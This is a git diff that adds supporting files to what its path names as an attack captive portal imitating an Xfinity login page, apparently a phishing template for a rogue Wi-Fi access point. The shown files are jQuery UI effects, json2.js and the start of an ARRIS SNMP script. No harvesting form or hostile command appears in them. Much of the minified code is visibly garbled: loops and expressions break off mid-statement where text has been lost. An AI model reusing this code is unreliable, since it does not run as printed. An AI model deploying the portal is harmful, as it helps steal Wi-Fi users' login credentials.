    ").appendTo(this.element);this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); +this.valueDiv.remove();b.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===c)return this._value();this._setOption("value",a);return this},_setOption:function(a,d){if(a==="value"){this.options.value=d;this._refreshValue();this._trigger("change")}b.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;if(typeof a!=="number")a=0;return Math.min(this.max,Math.max(this.min,a))},_refreshValue:function(){var a=this.value();this.valueDiv.toggleClass("ui-corner-right", +a===this.max).width(a+"%");this.element.attr("aria-valuenow",a)}});b.extend(b.ui.progressbar,{version:"1.8.5"})})(jQuery); +;/* + * jQuery UI Effects 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/ + */ +jQuery.effects||function(f,j){function l(c){var a;if(c&&c.constructor==Array&&c.length==3)return c;if(a=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(c))return[parseInt(a[1],10),parseInt(a[2],10),parseInt(a[3],10)];if(a=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(c))return[parseFloat(a[1])*2.55,parseFloat(a[2])*2.55,parseFloat(a[3])*2.55];if(a=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(c))return[parseInt(a[1], +16),parseInt(a[2],16),parseInt(a[3],16)];if(a=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(c))return[parseInt(a[1]+a[1],16),parseInt(a[2]+a[2],16),parseInt(a[3]+a[3],16)];if(/rgba\(0, 0, 0, 0\)/.exec(c))return m.transparent;return m[f.trim(c).toLowerCase()]}function r(c,a){var b;do{b=f.curCSS(c,a);if(b!=""&&b!="transparent"||f.nodeName(c,"body"))break;a="backgroundColor"}while(c=c.parentNode);return l(b)}function n(){var c=document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle, +a={},b,d;if(c&&c.length&&c[0]&&c[c[0]])for(var e=c.length;e--;){b=c[e];if(typeof c[b]=="string"){d=b.replace(/\-(\w)/g,function(g,h){return h.toUpperCase()});a[d]=c[b]}}else for(b in c)if(typeof c[b]==="string")a[b]=c[b];return a}function o(c){var a,b;for(a in c){b=c[a];if(b==null||f.isFunction(b)||a in s||/scrollbar/.test(a)||!/color/i.test(a)&&isNaN(parseFloat(b)))delete c[a]}return c}function t(c,a){var b={_:0},d;for(d in a)if(c[d]!=a[d])b[d]=a[d];return b}function k(c,a,b,d){if(typeof c=="object"){d= +a;b=null;a=c;c=a.effect}if(f.isFunction(a)){d=a;b=null;a={}}if(typeof a=="number"||f.fx.speeds[a]){d=b;b=a;a={}}if(f.isFunction(b)){d=b;b=null}a=a||{};b=b||a.duration;b=f.fx.off?0:typeof b=="number"?b:f.fx.speeds[b]||f.fx.speeds._default;d=d||a.complete;return[c,a,b,d]}f.effects={};f.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor","borderTopColor","color","outlineColor"],function(c,a){f.fx.step[a]=function(b){if(!b.colorInit){b.start=r(b.elem,a);b.end=l(b.end);b.colorInit= +true}b.elem.style[a]="rgb("+Math.max(Math.min(parseInt(b.pos*(b.end[0]-b.start[0])+b.start[0],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[1]-b.start[1])+b.start[1],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[2]-b.start[2])+b.start[2],10),255),0)+")"}});var m={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189, +183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255, +165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]},p=["add","remove","toggle"],s={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};f.effects.animateClass=function(c,a,b,d){if(f.isFunction(b)){d=b;b=null}return this.each(function(){var e=f(this),g=e.attr("style")||" ",h=o(n.call(this)),q,u=e.attr("className");f.each(p,function(v, +i){c[i]&&e[i+"Class"](c[i])});q=o(n.call(this));e.attr("className",u);e.animate(t(h,q),a,b,function(){f.each(p,function(v,i){c[i]&&e[i+"Class"](c[i])});if(typeof e.attr("style")=="object"){e.attr("style").cssText="";e.attr("style").cssText=g}else e.attr("style",g);d&&d.apply(this,arguments)})})};f.fn.extend({_addClass:f.fn.addClass,addClass:function(c,a,b,d){return a?f.effects.animateClass.apply(this,[{add:c},a,b,d]):this._addClass(c)},_removeClass:f.fn.removeClass,removeClass:function(c,a,b,d){return a? +f.effects.animateClass.apply(this,[{remove:c},a,b,d]):this._removeClass(c)},_toggleClass:f.fn.toggleClass,toggleClass:function(c,a,b,d,e){return typeof a=="boolean"||a===j?b?f.effects.animateClass.apply(this,[a?{add:c}:{remove:c},b,d,e]):this._toggleClass(c,a):f.effects.animateClass.apply(this,[{toggle:c},a,b,d])},switchClass:function(c,a,b,d,e){return f.effects.animateClass.apply(this,[{add:a,remove:c},b,d,e])}});f.extend(f.effects,{version:"1.8.5",save:function(c,a){for(var b=0;b
    ").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0});c.wrap(b);b=c.parent();if(c.css("position")=="static"){b.css({position:"relative"});c.css({position:"relative"})}else{f.extend(a,{position:c.css("position"),zIndex:c.css("z-index")});f.each(["top","left","bottom","right"],function(d,e){a[e]=c.css(e);if(isNaN(parseInt(a[e],10)))a[e]="auto"}); +c.css({position:"relative",top:0,left:0})}return b.css(a).show()},removeWrapper:function(c){if(c.parent().is(".ui-effects-wrapper"))return c.parent().replaceWith(c);return c},setTransition:function(c,a,b,d){d=d||{};f.each(a,function(e,g){unit=c.cssUnit(g);if(unit[0]>0)d[g]=unit[0]*b+unit[1]});return d}});f.fn.extend({effect:function(c){var a=k.apply(this,arguments);a={options:a[1],duration:a[2],callback:a[3]};var b=f.effects[c];return b&&!f.fx.off?b.call(this,a):this},_show:f.fn.show,show:function(c){if(!c|| +typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._show.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="show";return this.effect.apply(this,a)}},_hide:f.fn.hide,hide:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._hide.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="hide";return this.effect.apply(this,a)}},__toggle:f.fn.toggle,toggle:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c]||typeof c== +"boolean"||f.isFunction(c))return this.__toggle.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="toggle";return this.effect.apply(this,a)}},cssUnit:function(c){var a=this.css(c),b=[];f.each(["em","px","%","pt"],function(d,e){if(a.indexOf(e)>0)b=[parseFloat(a),e]});return b}});f.easing.jswing=f.easing.swing;f.extend(f.easing,{def:"easeOutQuad",swing:function(c,a,b,d,e){return f.easing[f.easing.def](c,a,b,d,e)},easeInQuad:function(c,a,b,d,e){return d*(a/=e)*a+b},easeOutQuad:function(c, +a,b,d,e){return-d*(a/=e)*(a-2)+b},easeInOutQuad:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a+b;return-d/2*(--a*(a-2)-1)+b},easeInCubic:function(c,a,b,d,e){return d*(a/=e)*a*a+b},easeOutCubic:function(c,a,b,d,e){return d*((a=a/e-1)*a*a+1)+b},easeInOutCubic:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a+b;return d/2*((a-=2)*a*a+2)+b},easeInQuart:function(c,a,b,d,e){return d*(a/=e)*a*a*a+b},easeOutQuart:function(c,a,b,d,e){return-d*((a=a/e-1)*a*a*a-1)+b},easeInOutQuart:function(c,a,b,d,e){if((a/= +e/2)<1)return d/2*a*a*a*a+b;return-d/2*((a-=2)*a*a*a-2)+b},easeInQuint:function(c,a,b,d,e){return d*(a/=e)*a*a*a*a+b},easeOutQuint:function(c,a,b,d,e){return d*((a=a/e-1)*a*a*a*a+1)+b},easeInOutQuint:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a*a*a+b;return d/2*((a-=2)*a*a*a*a+2)+b},easeInSine:function(c,a,b,d,e){return-d*Math.cos(a/e*(Math.PI/2))+d+b},easeOutSine:function(c,a,b,d,e){return d*Math.sin(a/e*(Math.PI/2))+b},easeInOutSine:function(c,a,b,d,e){return-d/2*(Math.cos(Math.PI*a/e)-1)+ +b},easeInExpo:function(c,a,b,d,e){return a==0?b:d*Math.pow(2,10*(a/e-1))+b},easeOutExpo:function(c,a,b,d,e){return a==e?b+d:d*(-Math.pow(2,-10*a/e)+1)+b},easeInOutExpo:function(c,a,b,d,e){if(a==0)return b;if(a==e)return b+d;if((a/=e/2)<1)return d/2*Math.pow(2,10*(a-1))+b;return d/2*(-Math.pow(2,-10*--a)+2)+b},easeInCirc:function(c,a,b,d,e){return-d*(Math.sqrt(1-(a/=e)*a)-1)+b},easeOutCirc:function(c,a,b,d,e){return d*Math.sqrt(1-(a=a/e-1)*a)+b},easeInOutCirc:function(c,a,b,d,e){if((a/=e/2)<1)return-d/ +2*(Math.sqrt(1-a*a)-1)+b;return d/2*(Math.sqrt(1-(a-=2)*a)+1)+b},easeInElastic:function(c,a,b,d,e){c=1.70158;var g=0,h=d;if(a==0)return b;if((a/=e)==1)return b+d;g||(g=e*0.3);if(h
    ").css({position:"absolute",visibility:"visible",left:-f*(h/d),top:-e*(i/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:h/d,height:i/c,left:g.left+f*(h/d)+(a.options.mode=="show"?(f-Math.floor(d/2))*(h/d):0),top:g.top+e*(i/c)+(a.options.mode=="show"?(e-Math.floor(c/2))*(i/c):0),opacity:a.options.mode=="show"?0:1}).animate({left:g.left+f*(h/d)+(a.options.mode=="show"?0:(f-Math.floor(d/2))*(h/d)),top:g.top+ +e*(i/c)+(a.options.mode=="show"?0:(e-Math.floor(c/2))*(i/c)),opacity:a.options.mode=="show"?1:0},a.duration||500);setTimeout(function(){a.options.mode=="show"?b.css({visibility:"visible"}):b.css({visibility:"visible"}).hide();a.callback&&a.callback.apply(b[0]);b.dequeue();j("div.ui-effects-explode").remove()},a.duration||500)})}})(jQuery); +;/* + * jQuery UI Effects Fade 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fade + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.fade=function(a){return this.queue(function(){var c=b(this),d=b.effects.setMode(c,a.options.mode||"hide");c.animate({opacity:d},{queue:false,duration:a.duration,easing:a.options.easing,complete:function(){a.callback&&a.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Fold 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fold + * + * Depends: + * jquery.effects.core.js + */ +(function(c){c.effects.fold=function(a){return this.queue(function(){var b=c(this),j=["position","top","left"],d=c.effects.setMode(b,a.options.mode||"hide"),g=a.options.size||15,h=!!a.options.horizFirst,k=a.duration?a.duration/2:c.fx.speeds._default/2;c.effects.save(b,j);b.show();var e=c.effects.createWrapper(b).css({overflow:"hidden"}),f=d=="show"!=h,l=f?["width","height"]:["height","width"];f=f?[e.width(),e.height()]:[e.height(),e.width()];var i=/([0-9]+)%/.exec(g);if(i)g=parseInt(i[1],10)/100* +f[d=="hide"?0:1];if(d=="show")e.css(h?{height:0,width:g}:{height:g,width:0});h={};i={};h[l[0]]=d=="show"?f[0]:g;i[l[1]]=d=="show"?f[1]:0;e.animate(h,k,a.options.easing).animate(i,k,a.options.easing,function(){d=="hide"&&b.hide();c.effects.restore(b,j);c.effects.removeWrapper(b);a.callback&&a.callback.apply(b[0],arguments);b.dequeue()})})}})(jQuery); +;/* + * jQuery UI Effects Highlight 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Highlight + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.highlight=function(c){return this.queue(function(){var a=b(this),e=["backgroundImage","backgroundColor","opacity"],d=b.effects.setMode(a,c.options.mode||"show"),f={backgroundColor:a.css("backgroundColor")};if(d=="hide")f.opacity=0;b.effects.save(a,e);a.show().css({backgroundImage:"none",backgroundColor:c.options.color||"#ffff99"}).animate(f,{queue:false,duration:c.duration,easing:c.options.easing,complete:function(){d=="hide"&&a.hide();b.effects.restore(a,e);d=="show"&&!b.support.opacity&& +this.style.removeAttribute("filter");c.callback&&c.callback.apply(this,arguments);a.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Pulsate 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Pulsate + * + * Depends: + * jquery.effects.core.js + */ +(function(d){d.effects.pulsate=function(a){return this.queue(function(){var b=d(this),c=d.effects.setMode(b,a.options.mode||"show");times=(a.options.times||5)*2-1;duration=a.duration?a.duration/2:d.fx.speeds._default/2;isVisible=b.is(":visible");animateTo=0;if(!isVisible){b.css("opacity",0).show();animateTo=1}if(c=="hide"&&isVisible||c=="show"&&!isVisible)times--;for(c=0;c').appendTo(document.body).addClass(a.options.className).css({top:d.top,left:d.left,height:b.innerHeight(),width:b.innerWidth(),position:"absolute"}).animate(c,a.duration,a.options.easing,function(){f.remove();a.callback&&a.callback.apply(b[0],arguments); +b.dequeue()})})}})(jQuery); +; \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/json2.js b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/json2.js new file mode 100755 index 0000000..6bdea10 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/json2.js @@ -0,0 +1,482 @@ +/* + http://www.JSON.org/json2.js + 2010-08-25 + + Public Domain. + + NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. + + See http://www.JSON.org/js.html + + + This code should be minified before deployment. + See http://javascript.crockford.com/jsmin.html + + USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO + NOT CONTROL. + + + This file creates a global JSON object containing two methods: stringify + and parse. + + JSON.stringify(value, replacer, space) + value any JavaScript value, usually an object or array. + + replacer an optional parameter that determines how object + values are stringified for objects. It can be a + function or an array of strings. + + space an optional parameter that specifies the indentation + of nested structures. If it is omitted, the text will + be packed without extra whitespace. If it is a number, + it will specify the number of spaces to indent at each + level. If it is a string (such as '\t' or ' '), + it contains the characters used to indent at each level. + + This method produces a JSON text from a JavaScript value. + + When an object value is found, if the object contains a toJSON + method, its toJSON method will be called and the result will be + stringified. A toJSON method does not serialize: it returns the + value represented by the name/value pair that should be serialized, + or undefined if nothing should be serialized. The toJSON method + will be passed the key associated with the value, and this will be + bound to the value + + For example, this would serialize Dates as ISO strings. + + Date.prototype.toJSON = function (key) { + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + return this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z'; + }; + + You can provide an optional replacer method. It will be passed the + key and value of each member, with this bound to the containing + object. The value that is returned from your method will be + serialized. If your method returns undefined, then the member will + be excluded from the serialization. + + If the replacer parameter is an array of strings, then it will be + used to select the members to be serialized. It filters the results + such that only members with keys listed in the replacer array are + stringified. + + Values that do not have JSON representations, such as undefined or + functions, will not be serialized. Such values in objects will be + dropped; in arrays they will be replaced with null. You can use + a replacer function to replace those with JSON values. + JSON.stringify(undefined) returns undefined. + + The optional space parameter produces a stringification of the + value that is filled with line breaks and indentation to make it + easier to read. + + If the space parameter is a non-empty string, then that string will + be used for indentation. If the space parameter is a number, then + the indentation will be that many spaces. + + Example: + + text = JSON.stringify(['e', {pluribus: 'unum'}]); + // text is '["e",{"pluribus":"unum"}]' + + + text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t'); + // text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]' + + text = JSON.stringify([new Date()], function (key, value) { + return this[key] instanceof Date ? + 'Date(' + this[key] + ')' : value; + }); + // text is '["Date(---current time---)"]' + + + JSON.parse(text, reviver) + This method parses a JSON text to produce an object or array. + It can throw a SyntaxError exception. + + The optional reviver parameter is a function that can filter and + transform the results. It receives each of the keys and values, + and its return value is used instead of the original value. + If it returns what it received, then the structure is not modified. + If it returns undefined then the member is deleted. + + Example: + + // Parse the text. Values that look like ISO date strings will + // be converted to Date objects. + + myData = JSON.parse(text, function (key, value) { + var a; + if (typeof value === 'string') { + a = +/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value); + if (a) { + return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], + +a[5], +a[6])); + } + } + return value; + }); + + myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) { + var d; + if (typeof value === 'string' && + value.slice(0, 5) === 'Date(' && + value.slice(-1) === ')') { + d = new Date(value.slice(5, -1)); + if (d) { + return d; + } + } + return value; + }); + + + This is a reference implementation. You are free to copy, modify, or + redistribute. +*/ + +/*jslint evil: true, strict: false */ + +/*members "", "\b", "\t", "\n", "\f", "\r", "\"", JSON, "\\", apply, + call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours, + getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join, + lastIndex, length, parse, prototype, push, replace, slice, stringify, + test, toJSON, toString, valueOf +*/ + + +// Create a JSON object only if one does not already exist. We create the +// methods in a closure to avoid creating global variables. + +if (!this.JSON) { + this.JSON = {}; +} + +(function () { + + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + if (typeof Date.prototype.toJSON !== 'function') { + + Date.prototype.toJSON = function (key) { + + return isFinite(this.valueOf()) ? + this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z' : null; + }; + + String.prototype.toJSON = + Number.prototype.toJSON = + Boolean.prototype.toJSON = function (key) { + return this.valueOf(); + }; + } + + var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + gap, + indent, + meta = { // table of character substitutions + '\b': '\\b', + '\t': '\\t', + '\n': '\\n', + '\f': '\\f', + '\r': '\\r', + '"' : '\\"', + '\\': '\\\\' + }, + rep; + + + function quote(string) { + +// If the string contains no control characters, no quote characters, and no +// backslash characters, then we can safely slap some quotes around it. +// Otherwise we must also replace the offending characters with safe escape +// sequences. + + escapable.lastIndex = 0; + return escapable.test(string) ? + '"' + string.replace(escapable, function (a) { + var c = meta[a]; + return typeof c === 'string' ? c : + '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); + }) + '"' : + '"' + string + '"'; + } + + + function str(key, holder) { + +// Produce a string from holder[key]. + + var i, // The loop counter. + k, // The member key. + v, // The member value. + length, + mind = gap, + partial, + value = holder[key]; + +// If the value has a toJSON method, call it to obtain a replacement value. + + if (value && typeof value === 'object' && + typeof value.toJSON === 'function') { + value = value.toJSON(key); + } + +// If we were called with a replacer function, then call the replacer to +// obtain a replacement value. + + if (typeof rep === 'function') { + value = rep.call(holder, key, value); + } + +// What happens next depends on the value's type. + + switch (typeof value) { + case 'string': + return quote(value); + + case 'number': + +// JSON numbers must be finite. Encode non-finite numbers as null. + + return isFinite(value) ? String(value) : 'null'; + + case 'boolean': + case 'null': + +// If the value is a boolean or null, convert it to a string. Note: +// typeof null does not produce 'null'. The case is included here in +// the remote chance that this gets fixed someday. + + return String(value); + +// If the type is 'object', we might be dealing with an object or an array or +// null. + + case 'object': + +// Due to a specification blunder in ECMAScript, typeof null is 'object', +// so watch out for that case. + + if (!value) { + return 'null'; + } + +// Make an array to hold the partial results of stringifying this object value. + + gap += indent; + partial = []; + +// Is the value an array? + + if (Object.prototype.toString.apply(value) === '[object Array]') { + +// The value is an array. Stringify every element. Use null as a placeholder +// for non-JSON values. + + length = value.length; + for (i = 0; i < length; i += 1) { + partial[i] = str(i, value) || 'null'; + } + +// Join all of the elements together, separated with commas, and wrap them in +// brackets. + + v = partial.length === 0 ? '[]' : + gap ? '[\n' + gap + + partial.join(',\n' + gap) + '\n' + + mind + ']' : + '[' + partial.join(',') + ']'; + gap = mind; + return v; + } + +// If the replacer is an array, use it to select the members to be stringified. + + if (rep && typeof rep === 'object') { + length = rep.length; + for (i = 0; i < length; i += 1) { + k = rep[i]; + if (typeof k === 'string') { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } else { + +// Otherwise, iterate through all of the keys in the object. + + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } + +// Join all of the member texts together, separated with commas, +// and wrap them in braces. + + v = partial.length === 0 ? '{}' : + gap ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + + mind + '}' : '{' + partial.join(',') + '}'; + gap = mind; + return v; + } + } + +// If the JSON object does not yet have a stringify method, give it one. + + if (typeof JSON.stringify !== 'function') { + JSON.stringify = function (value, replacer, space) { + +// The stringify method takes a value and an optional replacer, and an optional +// space parameter, and returns a JSON text. The replacer can be a function +// that can replace values, or an array of strings that will select the keys. +// A default replacer method can be provided. Use of the space parameter can +// produce text that is more easily readable. + + var i; + gap = ''; + indent = ''; + +// If the space parameter is a number, make an indent string containing that +// many spaces. + + if (typeof space === 'number') { + for (i = 0; i < space; i += 1) { + indent += ' '; + } + +// If the space parameter is a string, it will be used as the indent string. + + } else if (typeof space === 'string') { + indent = space; + } + +// If there is a replacer, it must be a function or an array. +// Otherwise, throw an error. + + rep = replacer; + if (replacer && typeof replacer !== 'function' && + (typeof replacer !== 'object' || + typeof replacer.length !== 'number')) { + throw new Error('JSON.stringify'); + } + +// Make a fake root object containing our value under the key of ''. +// Return the result of stringifying the value. + + return str('', {'': value}); + }; + } + + +// If the JSON object does not yet have a parse method, give it one. + + if (typeof JSON.parse !== 'function') { + JSON.parse = function (text, reviver) { + +// The parse method takes a text and an optional reviver function, and returns +// a JavaScript value if the text is a valid JSON text. + + var j; + + function walk(holder, key) { + +// The walk method is used to recursively walk the resulting structure so +// that modifications can be made. + + var k, v, value = holder[key]; + if (value && typeof value === 'object') { + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = walk(value, k); + if (v !== undefined) { + value[k] = v; + } else { + delete value[k]; + } + } + } + } + return reviver.call(holder, key, value); + } + + +// Parsing happens in four stages. In the first stage, we replace certain +// Unicode characters with escape sequences. JavaScript handles many characters +// incorrectly, either silently deleting them, or treating them as line endings. + + text = String(text); + cx.lastIndex = 0; + if (cx.test(text)) { + text = text.replace(cx, function (a) { + return '\\u' + + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); + }); + } + +// In the second stage, we run the text against regular expressions that look +// for non-JSON patterns. We are especially concerned with '()' and 'new' +// because they can cause invocation, and '=' because it can cause mutation. +// But just to be safe, we want to reject all unexpected forms. + +// We split the second stage into 4 regexp operations in order to work around +// crippling inefficiencies in IE's and Safari's regexp engines. First we +// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we +// replace all simple value tokens with ']' characters. Third, we delete all +// open brackets that follow a colon or comma or that begin the text. Finally, +// we look to see that the remaining characters are only whitespace or ']' or +// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval. + + if (/^[\],:{}\s]*$/ +.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@') +.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']') +.replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { + +// In the third stage we use the eval function to compile the text into a +// JavaScript structure. The '{' operator is subject to a syntactic ambiguity +// in JavaScript: it can begin a block or an object literal. We wrap the text +// in parens to eliminate the ambiguity. + + j = eval('(' + text + ')'); + +// In the optional fourth stage, we recursively walk the new structure, passing +// each name/value pair to a reviver function for possible transformation. + + return typeof reviver === 'function' ? + walk({'': j}, '') : j; + } + +// If the text is not JSON parseable, then a SyntaxError is thrown. + + throw new SyntaxError('JSON.parse'); + }; + } +}()); diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/mib.js b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/mib.js new file mode 100755 index 0000000..8d0e2e2 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/mib.js @@ -0,0 +1,3917 @@ +//(c) Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +//justin add +document.write("<\/scr" + "ipt>"); +//justin add end + +var walk = { }; +var loads = []; +var stores = []; +var table = { }; +var container = { }; +var oidsRead = [ ]; +var mib = { }; +var bulkLoading = false; +var bulkList = [ ]; + + +function appendMulti_OID(obj_in) +{ + var oid_array=""; + var i=0; + for(;i=0) + { + var current_pos=MIB_Arrays[i]; + MIB_Arrays_sorted.push(current_pos); + for(var j=i+1;j=0)&&(current_pos["mibobj"].name==MIB_Arrays[j]["mibobj"].name)) + { + if(MIB_Arrays[j].index>=current_pos.index) + { + var newobj=MIB_Arrays[j]; + MIB_Arrays_sorted.push(newobj); + if (window.console) console.log("push:"+MIB_Arrays[j]["mibobj"].name+"["+MIB_Arrays[j].index+"] under: "+MIB_Arrays[i]["mibobj"].name+"["+MIB_Arrays[i].index+"]"); + } + else /* simple sort */ + { + var temp_obj=MIB_Arrays_sorted.pop(); + MIB_Arrays_sorted.push(newobj); + MIB_Arrays_sorted.push(temp_obj); + } + + if(MIB_Arrays_sorted.length==MIB_len) + { + MIB_dumpArray(MIB_Arrays_sorted); + return MIB_Arrays_sorted; + } + else + { + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + } + } + else + { + ;//MIB_dumpArray(MIB_Arrays_sorted); For Console debug + } + }catch(e) + { + if (window.console) console.log("Error:"+e); + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + else + return MIB_objs; + } + } + } + } + + return MIB_objs; +} + +function MIB_JSON2Str(MIB_objs) +{ + var MIB_size=MIB_objSize(MIB_objs); + var MIB_Str=""; + var MIB_count=0; + for(var index_key in MIB_objs) + { + if(!isArray(MIB_objs[index_key])) + MIB_Str+='"'+index_key+'":"'+MIB_objs[index_key]+'"'; + else + { + var MIB_subArray=MIB_objs[index_key]; + var tempStr=""; + var i=0; + for(i=0;i 47 && hh<58) || (hh > 64 && hh<91) || (hh > 96 && hh<123)) + { + } + else { + return false; + } + } + return true; +} +function MIB_BatchLoad(MIB_objs,force_multi) +{ + var MIB_query=appendMulti_OID(MIB_objs); + var MIB_Result;//=new Array();;//=[];// + var MIB_Str="{"; + var MIB_JSON=snmpMultiGet(MIB_query); + var MIB_len=MIB_objs.length; + var i=0; + if (force_multi==undefined) + force_multi = false; + for (var index_key in MIB_JSON) + { + //alert("index_key:"+index_key); + var DataRow =""; + if(index_key==(MIB_objs[i]["mibobj"].oid+"."+MIB_objs[i]["index"])) + { + DataRow='"'+MIB_objs[i]["mibobj"].name+'":['; + val0=MIB_JSON[index_key]; + if (MIB_objs[i]["mibobj"].type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if ( MIB_objs[i]["mibobj"].compo==1 ) + { + val2=val0; + } + DATA=val2.escapeChars(); + } + else + { + DATA=val0; + } + //if(index_key=="1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1.0") + // 